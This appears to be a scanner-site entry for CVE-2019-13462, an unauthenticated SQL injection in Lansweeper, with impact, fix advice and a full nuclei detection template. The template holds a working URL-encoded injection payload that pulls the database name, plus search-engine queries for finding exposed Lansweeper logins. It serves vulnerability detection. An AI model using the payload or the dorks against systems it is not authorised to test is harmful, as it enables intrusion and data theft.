Lansweeper Unauthenticated SQL Injection

criticalseverity

9.1CVSS score

11.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.

Impact

This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.

Fix

Apply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CA…
Positive when: contains "~lansweeperdb~" AND contains in header "text/plain" AND status 500

Run it with nuclei: nuclei -id CVE-2019-13462 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-13462

info:
  name: Lansweeper Unauthenticated SQL Injection
  author: divya_mudgal
  severity: critical
  description: Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.
  remediation: |
    Apply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.
  reference:
    - https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13462
    - https://www.nccgroup.trust/uk/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://www.lansweeper.com/forum/yaf_topics33_Announcements.aspx
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-13462
    cwe-id: CWE-89
    epss-score: 0.1131
    epss-percentile: 0.96012
    cpe: cpe:2.3:a:lansweeper:lansweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lansweeper
    product: lansweeper
    shodan-query: http.title:"lansweeper - login"
    fofa-query: title="lansweeper - login"
    google-query: intitle:"lansweeper - login"
  tags: cve,cve2019,sqli,lansweeper,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "~lansweeperdb~"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from